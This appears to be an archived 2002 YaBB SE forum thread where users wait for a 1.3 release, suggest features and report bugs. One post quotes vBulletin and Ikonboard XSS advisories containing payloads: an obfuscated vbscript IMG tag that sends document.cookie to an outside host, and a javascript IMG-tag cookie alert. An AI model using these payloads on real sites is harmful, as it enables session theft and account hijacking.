I made the experience in my board that people dislike a lot when their posts are deleted. I would prefer if the answers are not deleted automatically. There can be good answers which make sense, even if the original question was deleted. Examples are: somebody asks a question, feels foolish about that when the answers come in, and deletes the question. Good answers stay good, even if the question is deleted.
Title: Re:SE Future...
Post by: MrStormyNights on March 25, 2002, 04:52:58 PM
I would like more yabb code! Specifically embed for video/sound clips.

I would be nice if there was an easy way to add the tags , like as an admin you put in something like:

[embed,$hieight,$width]$URL[/embed]

and then what the html is to do what you want, in the above exmple, you would have to define the height , size and URL varibles.
Title: Re:SE Future...
Post by: AndyMan1 on March 25, 2002, 05:39:25 PM
*runs in cheering*
Post-nuked YaBB!
Post-nuked YaBB!
yay!
*runs out*
:D
Title: Re:SE Future...
Post by: Nossie on March 25, 2002, 06:54:06 PM
congratulations Andy !

we are all absoloutly thrilled :P

no seriously we think your well cool..

I mean would you mind too much if I came into your forum
and started shouting... I just got laid in all your sections ?

could we find out ? *very evil grin*

and to put this back on topic *coff*
yeah... having the option to do something is much better than having it this way or that  ;D
Title: Re:SE Future...
Post by: powergen on March 25, 2002, 08:31:37 PM
Sorry guys ... time passes on ..... oh my God .....

How is the future SE doing ??? (1.3)

This is still future until it comes out ... so .... I hope you are doing well, if only I could help you in debugging it ... I would be there just close to you helping out ....

But I cannot ... sob  :'(


I hope it will come out sooner or later ....


Title: Re:SE Future...
Post by: phark on March 25, 2002, 08:46:04 PM
This morning, I tested out the latest security vulnerabilities that are effecting vBulletin & Ikonboard (announced last week) on my SE and SP1 installations.

I am pleased to report that both are secure and are not effected by this!! ;D

Now that I shared this good news with you, share some with me... how is that v1.3 coming?   ;)

Title: Re:SE Future...
Post by: Golden Tiger on March 25, 2002, 09:10:49 PM
Take your time...  I just learned that my too good to be true free webhost drastically changed their TOC... in a way nobody would ever guess... and I am in violation of that TOC... which means no more website or YaBB SE board...

So, once again, no use for YaBB, can't install it anywhere!  :P   So, I guess I'm out of the desprately asking for the release group...

Once all my fancy icons all of a sudden disapear then you know I lost my account.  :P
Title: Re:SE Future...
Post by: Jeff Lewis on March 25, 2002, 09:29:55 PM
What are the new vulnerabilities that plague those systems?

Also, your host altered their TOS?  How so?
Title: Re:SE Future...
Post by: Daniel Hofverberg on March 25, 2002, 09:35:54 PM
Golden Tiger, what web host are you referring to?
Title: Re:SE Future...
Post by: phark on March 25, 2002, 09:45:47 PM
What are the new vulnerabilities that plague those systems?

vBulletin
Fix Available:  Yes   Exploit Included:  Yes   Vendor Confirmed:  Yes  
 
Version(s): prior to 2.2.3
 
Description:  A vulnerability was reported in the vBulletin bulletin board software. A remote user can conduct cross-site scripting attacks against other vBulletin users.

It is reported that a remote user can inject scripting code in posts and in private messages within an IMG tag (which is apparently enabled, by default). When the target (victim) user views the message, the code will be executed on the target user's browser. The code will originate from the system running vBulletin and will run in the security context of that system. As a result, the code will be able to access the target user's cookies associated with the vBulletin site.

Some demonstration exploit code is included in the Source Message (below).

Quote
Hi

I've discovered a vulnerability in the vBulletins's [img]-Tag
implementation,
that allows users to inject vbs-code in posts and private messages
([img] is switched on by default).
Through that, an attacker is able to steal other users cookies and
maybe hijack their accounts.

The following code sends the user's cookie to a php-script
(http://www.ignite.barrysworld.net/test.php?c= in this case, which
just prints it back to the browser)
It is enclosed in codeTag, the url is encoded in ascii and
linebreaks are inserted to avoid filtering of some characters and
insertion of <br>-Tags

['img]vbscript:location.replace(
chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+
chr(47)+chr(47)+chr(119)+chr(119)+chr(119)+
chr(46)+chr(105)+chr(103)+chr(110)+chr(105)+
chr(116)+chr(101)+chr(46)+chr(98)+chr(97)+
chr(114)+chr(114)+chr(121)+chr(115)+chr(119)+
chr(111)+chr(114)+chr(108)+chr(100)+chr(46)+
chr(110)+chr(101)+chr(116)+chr(47)+chr(116)+
chr(101)+chr(115)+chr(116)+chr(46)+chr(112)+
chr(104)+chr(112)+chr(63)+chr(99)+chr(61)+
escape(document.cookie)
)['/img]
 

History:
 Feb 19 02: contacted Jelsoft
 Feb 20 02: Vendor confirmed the bug
 Feb 21 02: Jelsoft claimed to have made a patch "which clamps
            down on what characters are allowed in an [iimg] tag,
            as well as requiring it to start with http://".
            Sounds good ;)


 vBulletin 2.2.3 & 2.2.4 are out for some weeks, but there are still sites using vulnerable versions, so better update!  

 
Impact:  A remote user can cause arbitrary javascript to be executed in a target user's browser. The code will be able to access the target user's cookies associated with the site running the vBulletin software.
 
Solution:  The vendor has reportedly released a fixed version (2.2.4). See the Vendor URL for more information.
Title: Re:SE Future...
Post by: phark on March 25, 2002, 09:50:13 PM

What are the new vulnerabilities that plague those systems?


Ikonboard
Version(s): 3.0.1, 3.0.2, 3.0.3

Description:  A vulnerability was reported in Ikonboard. A remote user can conduct cross-site scripting attacks against other Ikonboard users.

It is reported that Ikonboard filters IMG tags to make sure that they begin with the string 'http://'. However, the filtering reportedly only occurs when posting a new topic and not when editing an existing topic. This allows a remote user with valid access to the bulletin board to inject malicious code that will be executed when another Ikonboard user views the affected message.

The following demonstration exploit transcript is provided:

Make a new post, then "EDIT" the post and in the body of the post insert this code

['IMG]javascript:alert(document.cook ie)[/IMG'] (" ' " inserted by me)

an alert box should pop up displaying your cookies!

The vendor has reportedly been notified. exploittranscript:Make a new post, then "EDIT" the post and in the body of the post insert this code

['IMG]javascript:alert(document.cookie)[/IMG'] (" ' " inserted by me)

an alert box should pop up displaying your cookies!

Impact:  A remote user can inject malicious javascript into a message such that when another Ikonboard user views the message, the javascript will be executed. This code will originate from the host running Ikonboard and will run in the security context of that host. As a result, the code will be able to access the target (victim) Ikonboard user's cookies associated with that site. With access to the cookies, the remote user can then gain access to the target user's Ikonboard account.

Solution:  No solution was available at the time of this entry.
Title: Re:SE Future...
Post by: Golden Tiger on March 25, 2002, 10:11:25 PM
Ok, I was on zeroth.net.  They did message board hosting (think clear back.. to the beginning of the year).  They went down, lost their server... actually, they came back in February, and I noticed that, so I asked about the boards and such that they used to host.  They said that they were going to change a few things, mainly get rid of the forum hosting and go to full website hosting.  They wanted to test out a few things, so they said I could transfer my websites over there and give their servers a small testing.  One my accounts were up, I would be able to keep them.  That was February 20th or so...  Zeroth would look over any website you wanted to place on their servers to make sure they had some promise before you could transfer over there.  Seems like a good plan for a free host, in order not to be killed by 100000000 websites being created
They switiched their URL's over to www.zeroth.cc, and my websites switched respectively.  The www.zeroth.net was going to point over to www.zeroth.cc sooner or later, when their website was created (they were going to recreate it to make it look a bit better).

Now, I was informed that their website was up and that they are going "live" now.  Checked out the website, read the text on the front page...
Well, that means I'm out of a web host all of a sudden.  So much for that idea.  If you are all that curious, check out the front page.

I e-mailed the host of the server, told him of the news, I should get a few weeks to transfer to another server... if I can find one...

Sidenote: Google has a cached version of the now defunct plan to add websites at Zeroth.
<< Click here to see (http://www.google.com/search?q=cache:6amFyIQXspkC:home.zeroth.net/+zeroth&hl=en) >>
(note: my account had some leeway, being the first...  I didn't need a domain, I could have sitename.zeroth.cc just fine)

Sidenote II (because I always add more than 2 cents):  I didn't think the forums was updated yet (for member support back when zeroth hosted forums).  I am right, the profile of the admin still shows zeroth as a forum hosting place!  
<< That is here (http://zeroth.cc/support/YaBB.pl?action=viewprofile&username=admin) >>
Title: Re:SE Future...
Post by: Daniel Hofverberg on March 25, 2002, 10:23:32 PM
I agree - That was certainly a very drastic change of their TOS...
Title: Re:SE Future...
Post by: Golden Tiger on March 25, 2002, 10:29:50 PM
Both sites had a URL cloak on them... don't think there will be much negative effect other than the lost server...

One was my personal site (which wasn't done much and which had Distortion Forums)

The other was a website for my High School marching band, and since I am a senior I will soon have no control of that...

Certainly not good publicity for either of them, hopefully the URL cloak helped...
Title: Re:SE Future...
Post by: powergen on March 26, 2002, 05:08:47 AM
Good to hear SE is SOOO STRONG not to be violated from those vulnerabilities !!

:)


Title: Re:SE Future...
Post by: Golden Tiger on March 26, 2002, 07:47:36 AM
Interesting...

Got an e-mail from Zeroth, said they wouldn't cancel my accounts for any reason, mainly because I was there so long (as well as the fact that they want to keep the sites they have been hosting so long).  They updated their mainpage to show this...

Well, seems like I still have a host...  better keep URL cloaking on...
Title: Re:SE Future...
Post by: powergen on March 26, 2002, 04:30:27 PM
Please !!!!! For this weekend guys !!

Let us spend it on a brand new bulletin board !!!

;D



Title: Re:SE Future...
Post by: bigfoot on March 26, 2002, 05:11:55 PM
how about a way to view it in thread mode

message1
 >reply to message1

message2
 >reply1 to message2
    >reply to reply1 to message2
Title: Re:SE Future...
Post by: bigfoot on March 26, 2002, 05:40:47 PM
how about being able to remove old messages from certian groups example
group 1 remove after 30 days
group 2 remove after 15 days

and so on..
Title: Re:SE Future...
Post by: phark on March 26, 2002, 05:45:42 PM

how about being able to remove old messages from certian groups example
group 1 remove after 30 days
group 2 remove after 15 days

and so on..


Why would you put a link to a picture in your profile that requires a password?   ::)
Title: Re:SE Future...
Post by: Jeff Lewis on March 26, 2002, 07:54:33 PM
he might not have known...so he can be Brad Pitt for a bit ;)
Title: Re:SE Future...
Post by: phark on March 26, 2002, 08:03:55 PM
Sorry Bigfoot if that sounded like a flame... here, its almost Easter, have a chocolate bunny.  

How is 1.3 coming?  I am doing my final conversion Saturday morning from SP1 to my new domain.  ;D  Would love to be able to install the new stuff!!!  
Title: Re:SE Future...
Post by: Michael on March 26, 2002, 08:29:26 PM
Aw, that means you won't be using my games mod, exp bars, or user templates anymore. :'(

Heh, I'll have to port those, and Godai already did exp bars, so no worries. ;)
Title: Re:SE Future...
Post by: phark on March 26, 2002, 08:44:27 PM

Aw, that means you won't be using my games mod, exp bars, or user templates anymore. :'(

Heh, I'll have to port those, and Godai already did exp bars, so no worries. ;)


I am glad to see that you are involved over on this side, Michael.  You sure have done some great things with SP1!  Thanks for all the great mods in SP1!  Myself and others are sure to appreciate them on the SE platform.   ;D  ;D  ;D
Title: Re:SE Future...
Post by: bigfoot on March 26, 2002, 09:14:08 PM


how about being able to remove old messages from certian groups example
group 1 remove after 30 days
group 2 remove after 15 days

and so on..


Why would you put a link to a picture in your profile that requires a password?   ::)


damn, screwed up, sorry about that
Title: Re:SE Future...
Post by: Golden Tiger on March 26, 2002, 09:15:18 PM
Many people hide their e-mail addresses to avoid spambots...  People like me, who have bigfoot-tell-the-entire-world-to-spam-this-address free redirect service don't care, but others do.

So, an idea for YaBB SE....  every @ or . in an e-mail address will be replaced with what the admin chooses.  In account prefs, the person can choose if they want their address mangled or not.  Some examples of the mangling is shown below (@ and . can have the same examples, I just show the @, use your imagination!)

@ changes to  @  (@ with a space in front of beind)
@ changes to (at) (why not!?)
@ changes to <hosted at> (anything along those lines)

Well, you get the idea.  Mangle the address, fool bots, cheer up users!  Just an idea...
Title: Re:SE Future...
Post by: bigfoot on March 26, 2002, 09:15:25 PM

he might not have known...so he can be Brad Pitt for a bit ;)


brad pit ain`t so bad  ;D
Title: Re:SE Future...
Post by: Michael on March 26, 2002, 09:31:40 PM
@Golden: If you want the e-mail addresses protected from spam bots, I'd use the HTML ASCII encoding (i.e. &#137; or whatever), it screws up most spam bots, I believe, so if you had part or all of an e-mail address entered using the ASCII number codes, spambots shouldn't be able to get it right, but browsers will display it just fine. This'd be a cool forum feature, but you could only really do something like replacing the @'s and .'s, because I'm sure most people don't want to spend the time to write out a script to convert every character to its HTMLized ASCII code. :P
Title: Re:SE Future...
Post by: Big P on March 27, 2002, 02:25:23 AM
That wouldn't be too hard actually, just a case of using strstr() I believe. Well obviously a bit more than strstr() but its the foundation for it.
Title: Re:SE Future...
Post by: Michael on March 27, 2002, 04:53:40 AM
What, writing a whole conversion script? That's easy, but like I said, who the hell wants to spend the time to do it? Probably be a waste, too, because I don't think people really need their YaBB translating every e-mail address completely.

But I'd use an eregi_replace, I dunno why you'd want to use strstr.
Title: Re:SE Future...
Post by: Jeff Lewis on March 27, 2002, 07:18:33 AM
Hehe, why not just hide your email address??
Title: Re:SE Future...
Post by: Webby on March 27, 2002, 07:21:41 AM
 ;D  LOL !

Sometimes problems can be solved so easily  ;D
Title: Re:SE Future...
Post by: Michael on March 27, 2002, 07:49:59 AM
I think Golden's point was that people would want to be able to let members of the board get in touch with them via e-mail, but at the same time, they don't want to have to worry about spam bots picking up their address. It'd be a nice idea to just translate the @'s and .'s, as a pseudo-protection. No big deal, just a good thought, might make users feel more comfortable.
Title: Re:SE Future...
Post by: powergen on March 27, 2002, 08:08:50 AM
Listen guys, I have finally ended up with a proposal ....

I don't know whether it makes sense or not .....


I have read in the features list that there's integration with different IM clients. You certainly know Trillian ....

It can keep up with up to 5 IM accounts .... it's really a good one, my question is : is it currently supported or will be supported in the future ?


If it doesn't make sense .... well I'll stand by my normal question .... please give us the 1.3 !!! When will it come out, it's a lot of wait !

:D


Title: Re:SE Future...
Post by: The_INFAMOUS on March 27, 2002, 08:26:48 AM
trilian is a comibination of icq msm yahoo enz so if there supported then trilian is also
trilian uses id's from other chat progs so by itself it cant be supported because nobody has a trilian id
Title: Re:SE Future...
Post by: powergen on March 27, 2002, 09:10:48 AM
Thanks Infamous !

I haven't understood that well but I'll assume it's supported ...  ;)

1.3 ??

:D
Title: Re:SE Future...
Post by: Webby on March 27, 2002, 09:23:47 AM

I think Golden's point was that people would want to be able to let members of the board get in touch with them via e-mail, but at the same time, they don't want to have to worry about spam bots picking up their address. It'd be a nice idea to just translate the @'s and .'s, as a pseudo-protection. No big deal, just a good thought, might make users feel more comfortable.


Well, let them put the "notify by email" on in the IM settings, so they can be reached by email through IM  :P

Nice solution, or what ?
Title: Re:SE Future...
Post by: queks on March 27, 2002, 10:48:40 AM
Hello, is the beta testing over ? Is it in the progress of preparing for offical launch ? ???
Title: Re:SE Future...
Post by: Michael on March 27, 2002, 12:29:47 PM
Yeah, IMs (with or without e-mail notification) are a good alternative to e-mail. Like I said, Golden's suggestion isn't anything critical, it's just a nice suggestion.
Title: Re:SE Future...
Post by: Jeff Lewis on March 27, 2002, 02:27:26 PM

Hello, is the beta testing over ? Is it in the progress of preparing for offical launch ? ???


Just looking at a few last things...
Title: Re:SE Future...
Post by: Webby on March 27, 2002, 02:29:16 PM
Take your time.......April 1st seems a nice release-date  ;D
Title: Re:SE Future...
Post by: PabUK on March 27, 2002, 02:43:00 PM
Nah I bet version 2 will be out April 1st. ;)
Title: Re:SE Future...
Post by: powergen on March 27, 2002, 03:07:38 PM
Anyway ... please all consider that we should be near the ending of betatesting ... I hope you guys won't add any last minute changes ... if you do ... well Yabb 1.3 won't never come out ....

You should know that  ... there's always a no more features, all beta testing period ...

So ... adding this support .. if it's not that easy ... will be impossible ....

Title: Re:SE Future...
Post by: powergen on March 27, 2002, 03:29:20 PM
Jeff ... thanks for your reply .... I hope you'll come out as soon as all is ok.

I mean all has to be ok ... but as soon as you can !!

Man, I'm getting really anxious on this, sooo anxious ...

:-[


Title: Re:SE Future...
Post by: Godai on March 27, 2002, 03:30:58 PM
Some good features someone is working on will not be added because of the need to close the beta testing with a defined software with defined features :)

Anyway official mods may be released ;)
Title: Re:SE Future...
Post by: Golden Tiger on March 27, 2002, 06:24:03 PM
I got a better April 1st headline...

=============================
The YaBB SE website is currently offline.

A hacker broke into our main computer network and implanted a virus into the main YaBB 1.3.0 program files.  When we upgraded our community forums with YaBB 1.3.0, all posts in the community were deleted and replaced with copies of the virus.  The website was modified to show that YaBB 1.3.0 was completed and ready for download.  Some 1,300 people downloaded the upgrade and were infected with a similar virus.  If you got YaBB 1.3.0 from this website DO NOT RUN IT.  We cannot stress this enough.

We are currently working hard on restoring the website from backups.  Please bear with us...

- The YaBB SE team -
=======================

The only problem with the above... nobody would believe it!   ;D
Title: Re:SE Future...
Post by: powergen on March 27, 2002, 07:28:57 PM
Thanks Godai for letting us all know ....

really good to hear that ....

So ... fixed features, fixed betatesting ....

I hope you'll finish soooooonn ....

:-[
Title: Re:SE Future...
Post by: rican5vl on March 27, 2002, 10:31:07 PM
April 1st is April Fools day so I aint believing crap lol

But hey, if it is ready before April 1st please post it here guys.


The reason is I am delaying my websites debut for the upgrade of this board...Since I have 1.1.0 already and have 300 members to transfer over and I need some hours for testing and dumping of the database.

I am shooting for my sites debut on April 3, 2002.

So if you guys get it, pleaseeeeeeeeeeeee post it right away, I am ready to relaunch my site babyyyyyyy lol

Rican
Title: Re:SE Future...
Post by: phark on March 27, 2002, 10:38:07 PM

April 1st is April Fools day so I aint believing crap lol

But hey, if it is ready before April 1st please post it here guys.


The reason is I am delaying my websites debut for the upgrade of this board...Since I have 1.1.0 already and have 300 members to transfer over and I need some hours for testing and dumping of the database.

I am shooting for my sites debut on April 3, 2002.

So if you guys get it, pleaseeeeeeeeeeeee post it right away, I am ready to relaunch my site babyyyyyyy lol

Rican


I am shooting for this Saturday morning...  *hopefully* they have released it be then....  :D
Title: Re:SE Future...
Post by: powergen on March 28, 2002, 05:37:27 AM
My God, me too ... I'm waiting for this 1.3 release !!!

The WHOLE NET is STUCK in waiting this SUPER RELEASE !!!!

:D



Title: Re:SE Future...
Post by: Joseph Fung on March 28, 2002, 09:35:44 AM
I just packaged what I HOPE is the final full install release.

And later today I'm putting together what I HOPE will be the final upgrade release.

sorry for all the delays - we had a couple issues re. design philosophy we needed to hash out.  ::)
Title: Re:SE Future...
Post by: phark on March 28, 2002, 09:40:25 AM

I just packaged what I HOPE is the final full install release.

And later today I'm putting together what I HOPE will be the final upgrade release.

sorry for all the delays - we had a couple issues re. design philosophy we needed to hash out.  ::)


Oh, I am so excited!  *JUMPS UP & DOWN*

I may get the new version before Saturday!  ;D  ;D
Title: Re:SE Future...
Post by: Mostmaster on March 28, 2002, 10:17:13 AM
COOL...really cool.. :D
I'm very exited too... ;)
Title: Re:SE Future...
Post by: Golden Tiger on March 28, 2002, 10:28:25 AM
More parody fun...

==============
YaBB 1.3.0 is now available for download.  However, we decided to hide the download link somewhere on our site.  We all wish good luck to those finding that link.  Have fun!

Regards,
The YaBB SE Team
==============

Evil?   ;D
Title: Re:SE Future...
Post by: powergen on March 28, 2002, 10:34:11 AM
COOOOL, Sooo COOOL !!!

Come on guys, let's open that champagne bottle !!!

Come on guys, please, please, you are SOO GREAT !!!!!

I LOVE YOU GUYSS !!!


Title: Re:SE Future...
Post by: Joseph Fung on March 28, 2002, 10:40:38 AM

More parody fun...

==============
YaBB 1.3.0 is now available for download.  However, we decided to hide the download link somewhere on our site.  We all wish good luck to those finding that link.  Have fun!

Regards,
The YaBB SE Team
==============

Evil?   ;D

hmm.  some people might think it's dangerous to give me such ideas.
Title: Re:SE Future...
Post by: powergen on March 28, 2002, 10:46:23 AM
Hey, yes those ideas are really dangerous !!

Please consider that the 1st of April is REALLY close !!!

hehheee   ::)
Title: Re:SE Future...
Post by: Zarabadoo on March 28, 2002, 11:53:31 AM
i must say.. i think i am also excited about a release.

stupid anticipation. it will get you everytime.
Title: Re:SE Future...
Post by: Joseph Fung on March 28, 2002, 11:55:27 AM
Quote
stupid anticipation. it will get you everytime.


so, unfortunately, will a rushed product.  Damn the need to balance the two.
Title: Re:SE Future...
Post by: Jeff Lewis on March 28, 2002, 12:01:21 PM
 ;D
Title: Re:SE Future...
Post by: juise on March 28, 2002, 12:46:10 PM

I just packaged what I HOPE is the final full install release.

And later today I'm putting together what I HOPE will be the final upgrade release.

sorry for all the delays - we had a couple issues re. design philosophy we needed to hash out.  ::)


Sounds like a melody  ;D
Title: Re:SE Future...
Post by: Brad on March 28, 2002, 12:57:32 PM
SWEEEEET! ;D


I just packaged what I HOPE is the final full install release.

And later today I'm putting together what I HOPE will be the final upgrade release.

sorry for all the delays - we had a couple issues re. design philosophy we needed to hash out.  ::)
Title: Re:SE Future...
Post by: Koth on March 28, 2002, 02:11:35 PM
Waits with baited breath for the upgrade release :D
Title: Re:SE Future...
Post by: zibit on March 28, 2002, 02:33:44 PM
goodieee..
Title: Re:SE Future...
Post by: Joseph Fung on March 28, 2002, 02:43:22 PM
I just uploaded the upgrade package.  Just waiting on the testing now.

Good news is that *so far* there haven't been any problems with the full install.
Title: Re:SE Future...
Post by: powergen on March 28, 2002, 03:24:00 PM
My GOD ..... we are living these moments LIVE !!!

Let us know Joseph !

:-[
Title: Re:SE Future...
Post by: phark on March 28, 2002, 03:34:09 PM

My GOD ..... we are living these moments LIVE !!!

Let us know Joseph !

:-[


I feel like an father, sitting in the waiting room, waiting  for my first born.
Title: Re:SE Future...
Post by: powergen on March 28, 2002, 03:47:25 PM
Me tooooooooooo !!!

;D

I'm soooo anxious ... can I ask one thing ?

Will the baby run also on the latest and future PHP 4.2 or there have been problems in optimizing for it ??

I had heard there were problems with it ....


???
Title: Re:SE Future...
Post by: cvek on March 28, 2002, 04:02:48 PM
hi guys .. i'm lost .. is it out, is it hidden somewhere, is it not out yet ... ???
Title: Re:SE Future...
Post by: phark on March 28, 2002, 04:16:23 PM

hi guys .. i'm lost .. is it out, is it hidden somewhere, is it not out yet ... ???


Settle down, have a seat in the waiting room with the rest of us...
Title: Re:SE Future...
Post by: Joseph Fung on March 28, 2002, 04:42:27 PM
Quote
Will the baby run also on the latest and future PHP 4.2 or there have been problems in optimizing for it ??

I can't guarantee anything, but we've had a number of people testing it on the latest releases - and things seem to be running ok.
Title: Re:SE Future...
Post by: DomP on March 28, 2002, 04:47:51 PM
Hmmz,

Time for the champagne I think

DomP erignon

Edit:

Ouch is the size for my picture a problem ?
Title: Re:SE Future...
Post by: Jeff Lewis on March 28, 2002, 04:48:59 PM
Now wouldn't you guys crap if we had to delay it? ;)
Title: Re:SE Future...
Post by: DomP on March 28, 2002, 04:52:41 PM
LoL Jeff !!

StoP TeasinG !!  tell us where u hide it  ;D
Title: Re:SE Future...
Post by: phark on March 28, 2002, 05:04:30 PM
Ahh COOL!!!!

I found where you hid it!!!   ;)
Title: Re:SE Future...
Post by: DomP on March 28, 2002, 05:19:49 PM
Thx !!

Me too ....

LoL  ;)
Title: Re:SE Future...
Post by: Jeff Lewis on March 28, 2002, 05:21:14 PM
Uh huh, where?
Title: Re:SE Future...
Post by: phark on March 28, 2002, 05:22:11 PM
I was just teasing... hoping to get everyone searching... hehe...   ;D
Title: Re:SE Future...
Post by: boyzie on March 28, 2002, 05:26:00 PM
No you weren't...I got it as well... ;)
Title: Re:SE Future...
Post by: Edwin on March 28, 2002, 05:26:02 PM
Well you can download it from www.yabb.info/...  ;D

Just hold your horses, before you know it's released  ;D
Title: Re:SE Future...
Post by: DomP on March 28, 2002, 05:30:09 PM
Maybe one of us can help me with this "fatal error" in 1.0.0. while we are waiting ?  I just posted it  here  (http://www.yabb.info/community/index.php?board=133;action=display;threadid=5829)
Title: Re:SE Future...
Post by: iamdamnsam on March 28, 2002, 05:32:58 PM
Cool its on the download page!
Title: Re:SE Future...
Post by: The_INFAMOUS on March 28, 2002, 05:36:26 PM
haha lol ;D
have fun with it!
but will it be released to day/tomorrow?
and the upgrade?
Title: Re:SE Future...
Post by: The Engineer on March 28, 2002, 05:37:42 PM

Cool its on the download page!


Yeap, just got it.

I like the new auto install feature, installed the board in .007259 seconds


:P
Title: Re:SE Future...
Post by: iamdamnsam on March 28, 2002, 05:44:57 PM
hmm, must be something wrong with my server, I keep getting a "cannot find files" error.  Any ideas?
Title: Re:SE Future...
Post by: kurgan on March 28, 2002, 05:46:30 PM
 :-\

its not April 1st, please if its available could you post a link...
Title: Re:SE Future...
Post by: Jeff Lewis on March 28, 2002, 05:48:37 PM
Read Josephs post, he said he released a package today to the beta testers...

If all goes well, we will be very close to a release...
Title: Re:SE Future...
Post by: phark on March 28, 2002, 05:53:31 PM

Read Josephs post, he said he released a package today to the beta testers...

If all goes well, we will be very close to a release...


So should I go play some Castle Wolfenstein or continue to stare at the screen, hitting refresh every 5 minutes or so?   :-\
Title: Re:SE Future...
Post by: Jeff Lewis on March 28, 2002, 05:55:53 PM
Hehe go play some games :)
Title: Re:SE Future...
Post by: Omar Bazavilvazo on March 28, 2002, 05:57:44 PM
yep.

play ff9 or something like that... helps you to forget about how many times passes
Title: Re:SE Future...
Post by: Jeff Lewis on March 28, 2002, 06:00:30 PM
I know I'll be playing some FFX tonight ;)  Well...until Survivor comes on.
Title: Re:SE Future...
Post by: Joseph Fung on March 28, 2002, 06:04:50 PM

Well you can download it from www.yabb.info/...  ;D

Just hold your horses, before you know it's released  ;D


note how the new kick-ass regexs didn't pick up the trailing ...  ;)
Title: Re:SE Future...
Post by: juise on March 28, 2002, 06:34:33 PM
Should i go to bed or just keep waiting ? (1.33 AM)  ;D
Title: Re:SE Future...
Post by: Purple Raine on March 28, 2002, 06:48:53 PM
Bah... who needs sleep when you got YaBB SE? ;)

Heheh... I've been lurking in the background hitting refresh every so often hoping to see a News splash =)

Title: Re:SE Future...
Post by: Jeff Lewis on March 28, 2002, 07:14:03 PM
Heh, go to bed...it won't be released before tomorrow ;)
Title: Re:SE Future...
Post by: Rhaz on March 28, 2002, 07:34:13 PM

Heh, go to bed...it won't be released before tomorrow ;)


You do realize that we might create a mob and threaten you at gunpoint soon  ;)
Title: Re:SE Future...
Post by: phark on March 28, 2002, 07:40:09 PM

Heh, go to bed...it won't be released before tomorrow ;)


And here I have been sitting all night, not begging or saying a word.   :'(
Title: Re:SE Future...
Post by: Jeff Lewis on March 28, 2002, 07:41:32 PM
Well guys...we just released it to testers today!! ;)  So we hav people over different time zones that need to look at it :)

Also, not all of our beta testers seem to be around :(
Title: Re:SE Future...
Post by: phark on March 28, 2002, 07:46:13 PM

Well guys...we just released it to testers today!! ;)  So we hav people over different time zones that need to look at it :)

Also, not all of our beta testers seem to be around :(


I will be a stand in Beta tester... I have a test site ready to go!!  I'll even install or upgrade (your choice) tonight! pat@pharkness.com   ;D
Title: Re:SE Future...
Post by: Webby on March 29, 2002, 12:52:43 AM
How about me ?  Can I sign in for a YaBBSEBetatester ?

Or am I already....... ;D ?

Tell me !  Tell me !  ;D

And will there be an "easter-egg" in it again  ;D ?  LOL !
Title: Re:SE Future...
Post by: ArtfulSpider on March 29, 2002, 04:18:52 AM
I would be interested in testing the new beta as well. Please advise where I might download the new files.
Thanks.

RR   8)

(http://www.artfulspider.com/artfulspiderlogo3dglass.jpg)
Title: Re:SE Future...
Post by: Koth on March 29, 2002, 05:51:32 AM
I would be interested in testing the new beta as well. Please advise where I might download the new files.
Thanks.

RR   8)


You might download them from www.ikonboardsucks.com  

but then again I might be telling lies ;)
Title: Re:SE Future...
Post by: powergen on March 29, 2002, 06:38:34 AM
;)

Guys ..... I have my fingers, arms, legs crossed ...

I'm here waiting for it ....

Joseph good to hear someone tested it on the PHP v.4.2 ... and up to now it gave no problems ....

Hey, have you got the message ready for the home page of the site ????

What will it say ???

heheheh

;D

Title: Re:SE Future...
Post by: kurgan on March 29, 2002, 06:47:29 AM
BTW. this might be an undiscovered bug in 1.3 but it seems that your board sends notifications in the locale/language of the poster, not the reciever?

So I sometimes get notifications from this board in Dutch...  ???
Title: Re:SE Future...
Post by: kurgan on March 29, 2002, 06:48:50 AM
 :D

uh oh, I might just have halted distribution for another month  ;D
Title: Re:SE Future...
Post by: Koth on March 29, 2002, 07:04:18 AM

:D

uh oh, I might just have halted distribution for another month  ;D


If so we are all going to kill you..... very slowly.
Title: Re:SE Future...
Post by: TheJkWhoSaysNi on March 29, 2002, 07:05:27 AM
Well maybe, but i'm glad you pointed it out, because i'd rather have a bug free, no hassle board and wait a bit longer than have a board with bugs and get it now.
Title: Re:SE Future...
Post by: juise on March 29, 2002, 07:18:14 AM

:D

uh oh, I might just have halted distribution for another month  ;D

Maby couple of days at the most, i hope  ;)
Title: Re:SE Future...
Post by: powergen on March 29, 2002, 07:42:14 AM
Oh my God ......

:'(



Title: Re:SE Future...
Post by: TheJkWhoSaysNi on March 29, 2002, 07:44:06 AM
calm down people, c'mon its not the end of the world.
Title: Re:SE Future...
Post by: powergen on March 29, 2002, 07:51:05 AM
I know ... but ... man ... you know we really care about this ....

If only we could help ...

I won't come here anymore until I read 1.3 on the download page ... sorry but there's no point  ...

:'(
Title: Re:SE Future...
Post by: phark on March 29, 2002, 07:53:33 AM
This is really messing with some peoples emotions.  Do we have a resident shrink here to offer counseling?

:D
Title: Re:SE Future...
Post by: Webby on March 29, 2002, 08:01:15 AM
(http://www.salesplaza.nl/forum/YaBBImages/nurse.gif)
Title: Re:SE Future...
Post by: TheJkWhoSaysNi on March 29, 2002, 08:02:25 AM
Ok, I have just found another problem  :(

if you put a smilie inside the glow tags, it does not, work i would imagine it will be the same with Shadow as well:

watch:
:)
[shadow=red,right,300]:o[/shadow]


[Edit: Works with shadow, seems to be just glow.]

[Edit2: Something else, although this may be supposed to happed but:
When you post a message you're sent to the board you posted it in
However, When you modify a message, you're sent to the topic you modified it in.]
Title: Re:SE Future...
Post by: boyzie on March 29, 2002, 08:09:46 AM
Shuuuuuush!!!  ;)
Title: Re:SE Future...
Post by: Andreas on March 29, 2002, 08:24:36 AM
That should be a really small error..

i know why it dont work.. have a look here:

http://www.yabb.info/"http://www.yabb.info/community/YaBBImages/smiley.gif/"

that is the url to the pic... the 'http://www.yabb.info/' in front of the first " is too much, and thats why it dont work!

I think there is a variable anywhere too much in the php code! :) no big error i think! :)
Title: Re:SE Future...
Post by: powergen on March 29, 2002, 09:42:23 AM
Ok, guys .... I didn't resist !!!!

Another error ???

My God !!

Ok, I have got something to check too ... when I clicked on the crying face ... the smiley ...

ok,  :'( ..... this one .... the smiley doesn't appear on the forum page !!!

My God, another little error ???


Title: Re:SE Future...
Post by: TheJkWhoSaysNi on March 29, 2002, 09:43:39 AM
you're right, *sigh* another one!
Title: Re:SE Future...
Post by: powergen on March 29, 2002, 09:43:49 AM
Also in my previous post ...

Crying...... no smiley !!!


:'(
:'(
:'(
:'(
Title: Re:SE Future...
Post by: Jeff Lewis on March 29, 2002, 09:44:39 AM
